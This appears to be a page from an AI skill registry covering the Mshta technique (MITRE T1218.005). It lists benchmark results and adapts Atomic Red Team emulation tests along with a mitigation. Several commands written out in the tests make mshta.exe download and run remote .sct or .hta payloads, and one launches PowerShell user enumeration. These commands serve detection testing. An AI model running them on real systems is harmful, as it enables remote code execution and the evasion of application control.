Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility.
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-07 | ✗→✓ | ▲ Improved | 105% | 0% |
| case-08 | ✗→✓ | ▲ Improved | 20% | 0% |
| case-10 | ✗→✓ | ▲ Improved | 85% | 0% |
| case-17 | ✗→✓ | ▲ Improved | -8% | 0% |
| case-18 | ✗→✓ | ▲ Improved | 54% | 0% |
> Sub-technique of: T1218
Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.
Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https:]//webserver/payload.]sct"")"))</code>
They may also be executed directly from URLs: <code>mshta http:]//webserver/payload.]hta</code>
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.
Platforms: Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.
Supported Platforms: windows
cmdmshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
Run a local VB script to run local user enumeration powershell command. This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems. Upon execution, a new PowerShell windows will be opened that displays user information.
Supported Platforms: windows
cmdmshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"":close")
Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.
Supported Platforms: windows
powershell$var =Invoke-WebRequest "#{hta_url}" $var.content|out-file "#{temp_file}" mshta "#{temp_file}" start-sleep -s 15 stop-process -name "calculator" -Force -ErrorAction Ignore stop-process -name "CalculatorApp" -Force -ErrorAction Ignore
Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.
Supported Platforms: windows
powershellInvoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}
Dependencies:
Executes an HTA Application using JScript script engine simulating double click.
Supported Platforms: windows
powershellInvoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
Use application control configured to block execution of <code>mshta.exe</code> if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the <code>mshta.exe</code> application and to prevent abuse.
Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.
| Finding | Severity | Impact | | -------------------------- | -------- | --------------- | | Mshta technique applicable | Medium | Defense Evasion |
| CWE ID | Title | | ------- | ---------------------------- | | CWE-693 | Protection Mechanism Failure |
Other measured skills in the registry, with their headline benchmark lift.